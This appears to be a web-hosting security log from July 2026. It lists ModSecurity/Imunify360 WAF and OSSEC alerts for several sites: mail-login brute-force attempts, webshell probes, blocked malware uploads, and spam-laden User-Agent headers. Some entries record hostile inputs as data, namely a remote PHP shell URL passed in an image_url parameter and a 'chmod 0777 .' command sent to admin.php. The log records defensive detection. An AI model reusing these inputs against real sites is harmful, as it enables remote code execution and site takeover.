IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:184.174.46.180||TA:184.174.46.180||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.154
country_id: 6252001
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.154||TA:192.186.151.154||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.164.34.205
country_id: 6252001
description:
2026-07-18 07:18:30 dovecot_login authenticator failed for H=wsip-70-164-34-205.no.no.cox.net ([74.119.144.57]) [70.164.34.205]:33754: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: gsmex.global
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:gsmex||SC:/home/gsmex/public_html/index.php||WPU:||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.155
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.155||TA:192.186.151.155||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.156
country_id: 6252001
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.156||TA:192.186.151.156||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 80.97.160.166
country_id: 617790
domain: keralapeople.com
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.31||T:APACHE||MV:chmod 0777 .||SC:/home/keralapeople/public_html/admin.php||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 80.97.160.166
country_id: 617790
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.31||T:APACHE||SC:/home/keralapeople/public_html/admin.php||User:keralapeople||WPU:||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.126.252.170
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://pxhere.com/en/photographer-me/5001114\">most comfortable touring motorcycle</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.126.249.53
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.intensedebate.com/profiles/onparlevoyagewebsite\">pays pour vacances pas cher</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.217.15
country_id: 1880251
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/ibmctradeflow/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-18 07:34:37 dovecot_login authenticator failed for H=([211.192.54.219]) [122.184.124.46]:43342: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.138
country_id: 1269750
description:
2026-07-18 07:34:55 dovecot_login authenticator failed for H=([111.26.67.35]) [182.95.182.138]:36434: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.165.46
country_id: 2077456
description:
2026-07-18 07:36:33 dovecot_login authenticator failed for H=([24.249.199.9]) [118.211.165.46]:58095: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-18 07:36:16 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net ([151.83.113.3]) [70.184.65.81]:33048: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.114.40.60
country_id: 1835841
description:
2026-07-18 07:38:03 dovecot_login authenticator failed for H=([166.180.111.128]) [211.114.40.60]:53736: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.116.47.157
country_id: 1835841
description:
2026-07-18 07:38:04 dovecot_login authenticator failed for H=(wsip-184-186-73-72.lf.br.cox.net) [222.116.47.157]:46298: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-18 07:38:15 dovecot_login authenticator failed for H=([49.124.147.101]) [119.92.76.210]:44396: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-18 07:39:00 dovecot_login authenticator failed for H=([110.77.150.25]) [182.95.187.86]:39486: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-18 07:39:16 dovecot_login authenticator failed for H=([103.168.57.31]) [218.248.19.102]:58754: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-18 07:39:35 dovecot_login authenticator failed for H=([14.153.169.33]) [180.71.9.31]:34240: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-18 07:39:34 dovecot_login authenticator failed for H=([222.99.52.202]) [106.201.76.203]:49482: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.3.197
country_id: 1835841
description:
2026-07-18 07:43:36 dovecot_login authenticator failed for H=([68.71.247.133]) [221.162.3.197]:53586: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.233.99.233
country_id: 1562822
description:
2026-07-18 07:43:45 dovecot_login authenticator failed for H=([116.88.116.62]) [171.233.99.233]:45041: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.138
country_id: 1269750
description:
2026-07-18 07:43:56 dovecot_login authenticator failed for H=([174.77.111.220]) [182.95.182.138]:41054: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-18 07:47:45 dovecot_login authenticator failed for H=([186.200.10.239]) [122.185.146.166]:49724: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.60.128.241
country_id: 1269750
description:
2026-07-18 07:47:55 dovecot_login authenticator failed for H=([87.245.211.37]) [182.60.128.241]:52034: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-18 07:48:14 dovecot_login authenticator failed for H=([49.124.148.190]) [50.190.89.138]:49752: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.34.252.154
country_id: 6252001
description:
2026-07-18 07:47:41 dovecot_login authenticator failed for H=([120.195.50.149]) [136.34.252.154]:60000: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-18 07:55:51 dovecot_login authenticator failed for H=([187.50.194.182]) [196.0.113.110]:33144: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-18 07:56:03 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([154.14.139.82]) [37.207.215.2]:38657: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-07-18 07:56:58 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net (static.ill.117.247.82.240.bsnl.co.in) [111.70.28.243]:35737: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.226.23.157
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:141919||Sizes:6347||Combined size:6347||User:keralapeople||WPU:||Filename:filefuns.php||Scanned:/tmp//20260718-075707-alrke1i-jFAWBYy0_BTblQAAAAE-file-snGJov||SC:/home/keralapeople/public_html/admin.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-18 07:57:14 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([65.20.146.109]) [82.209.148.60]:56132: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.217.15
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/cochinbigbandsho/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.222.217.147
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/video-conferencing-cameras HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.89.60.33
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2c863580 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: globalgroupoman.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784342379507.phtml||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.27.219.45
country_id: 3489940
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-automation HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.226.23.157
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:161524||Sizes:6347||Combined size:6347||User:keralapeople||WPU:||Filename:filefuns.php||Scanned:/tmp//20260718-080838-alrnLrGiyVm8NNuqnH14VwAAAIU-file-VB8x2u||SC:/home/keralapeople/public_html/admin.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-18 08:09:58 dovecot_login authenticator failed for H=(h-155-4-31-215.A2204.priv.bahnhof.se) [181.61.251.4]:59678: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:13:31 dovecot_login authenticator failed for H=(2dSDIe) [80.94.92.123]:64199: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:13:43 dovecot_login authenticator failed for H=(ReYkSGx) [80.94.92.123]:49769: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:14:45 dovecot_login authenticator failed for H=(GPEUDRl) [80.94.92.123]:60053: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 80.94.92.123
country_id: 798549
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[80.94.92.123] [Authentication Database]=[mail] [Username]=[info@metrodigitals.com] (5/5 failures) (blocked until [Sat Jul 18 02:59:43 2026 UTC/Sat Jul 18 08:29:43 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:15:53 dovecot_login authenticator failed for H=(8Cs5UQd) [80.94.92.123]:57172: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:16:39 dovecot_login authenticator failed for H=(pXaLX5J) [80.94.92.123]:49257: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:18:12 dovecot_login authenticator failed for H=(IHGHzD) [80.94.92.123]:53048: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:17:49 dovecot_login authenticator failed for H=(XWqNworQ) [80.94.92.123]:63982: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:18:57 dovecot_login authenticator failed for H=(OSbOLwHT) [80.94.92.123]:63488: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-18 08:19:12 dovecot_login authenticator failed for H=([203.193.147.37]) [220.235.225.112]:54976: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:19:42 dovecot_login authenticator failed for H=(LjFbG2o) [80.94.92.123]:56191: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:20:50 dovecot_login authenticator failed for H=(CmSeRqrVWu) [80.94.92.123]:54413: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:21:59 dovecot_login authenticator failed for H=(jctrCFPIKC) [80.94.92.123]:53071: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.236.176
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:104.28.236.176||TA:104.28.236.176||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.236.175
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/z9x8c7v6b5-debug-trigger-keralapeople.com||User:keralapeople||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.236.175
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:104.28.236.175||TA:104.28.236.175||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:23:32 dovecot_login authenticator failed for H=(TODzHRg) [80.94.92.123]:55581: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:22:46 dovecot_login authenticator failed for H=(qkbQRFbFR) [80.94.92.123]:62863: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 80.94.92.123
country_id: 798549
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[80.94.92.123] [Authentication Database]=[mail] [Username]=[info@metrodigitals.com] (30/30 failures) (blocked until [Sun Jul 19 02:54:15 2026 UTC/Sun Jul 19 08:24:15 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:23:54 dovecot_login authenticator failed for H=(q8nh7h) [80.94.92.123]:60006: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:24:39 dovecot_login authenticator failed for H=(DOIHdw) [80.94.92.123]:51202: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:25:48 dovecot_login authenticator failed for H=(onxOLVGMpl) [80.94.92.123]:63077: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:26:57 dovecot_login authenticator failed for H=(T5zOCC) [80.94.92.123]:61603: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:27:42 dovecot_login authenticator failed for H=(U2yaYK) [80.94.92.123]:53465: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:28:51 dovecot_login authenticator failed for H=(oo8aCFHP) [80.94.92.123]:65414: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:29:15 dovecot_login authenticator failed for H=(tbCEUy1UD) [80.94.92.123]:53454: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:29:38 dovecot_login authenticator failed for H=(sGjWVWmCW) [80.94.92.123]:58085: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:30:47 dovecot_login authenticator failed for H=(dK4lvHDJ8t) [80.94.92.123]:54437: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:31:54 dovecot_login authenticator failed for H=(FysFwdY) [80.94.92.123]:51307: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: jaashsupplies.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/jaashsupplies/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-18 08:33:17 dovecot_login authenticator failed for H=([49.124.152.22]) [70.88.108.12]:34266: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.126.249.22
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://facerelation.com/read-blog/66825\">removals and storage croydon</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:32:40 dovecot_login authenticator failed for H=(IyXSihQ) [80.94.92.123]:61462: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:34:11 dovecot_login authenticator failed for H=(mofYXkuDg) [80.94.92.123]:49340: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:33:48 dovecot_login authenticator failed for H=(cv5TMQQDK4) [80.94.92.123]:60721: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:34:57 dovecot_login authenticator failed for H=(m0cI1yJhS) [80.94.92.123]:59446: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:35:43 dovecot_login authenticator failed for H=(pBAAmnGfuj) [80.94.92.123]:52867: 535 Incorrect authentication data (set_id=info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:36:53 dovecot_login authenticator failed for H=(87dG3nkyUQ) [80.94.92.123]:49472: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-18 08:38:09 dovecot_login authenticator failed for H=([70.166.167.48]) [210.5.117.238]:64772: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:37:40 dovecot_login authenticator failed for H=(vzK5AXqRl) [80.94.92.123]:57780: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-07-18 08:38:00 dovecot_login authenticator failed for H=([211.192.54.219]) [122.187.234.54]:48346: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:38:48 dovecot_login authenticator failed for H=(SwIfgXlZ) [80.94.92.123]:54495: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:39:57 dovecot_login authenticator failed for H=(v6Y5h1Wn) [80.94.92.123]:49730: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:40:43 dovecot_login authenticator failed for H=(UEu05g1) [80.94.92.123]:58190: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:41:06 dovecot_login authenticator failed for H=(1KLwnp9) [80.94.92.123]:62444: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 205.143.208.242
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:205.143.208.242||TA:205.143.208.242||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:41:52 dovecot_login authenticator failed for H=(zIn4Xk) [80.94.92.123]:55061: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:42:59 dovecot_login authenticator failed for H=(3OLy3sS8Sr) [80.94.92.123]:53321: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:43:45 dovecot_login authenticator failed for H=(pl1TT7XNTL) [80.94.92.123]:62686: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.240.179
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/gallo-accoustics-round-sound?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.235.180
country_id: 6252001
description:
2026-07-18 08:44:24 dovecot_login authenticator failed for H=wsip-70-183-235-180.pn.at.cox.net (217-29-30-135.saimanet.kg) [70.183.235.180]:47697: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-18 08:44:32 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([219.248.4.146]) [82.209.191.11]:46424: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:44:54 dovecot_login authenticator failed for H=(lHNsams) [80.94.92.123]:59727: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:46:26 dovecot_login authenticator failed for H=(gQmjNH5j0) [80.94.92.123]:61179: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:45:40 dovecot_login authenticator failed for H=(8keLi4s) [80.94.92.123]:52304: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:46:49 dovecot_login authenticator failed for H=(FsbUczb) [80.94.92.123]:49388: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:47:40 dovecot_login authenticator failed for H=(F2f9Gu) [80.94.92.123]:59611: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:48:49 dovecot_login authenticator failed for H=(OhrMB5hE7V) [80.94.92.123]:56173: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:49:58 dovecot_login authenticator failed for H=(WY5dhXaIc) [80.94.92.123]:51618: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:50:49 dovecot_login authenticator failed for H=(zZ9zFX) [80.94.92.123]:61319: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:51:58 dovecot_login authenticator failed for H=(JmbIp0m) [80.94.92.123]:58020: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:52:44 dovecot_login authenticator failed for H=(dWD7Dgjt) [80.94.92.123]:49894: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-18 08:53:52 dovecot_login authenticator failed for H=(50DvOiIG) [80.94.92.123]:63382: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77350979
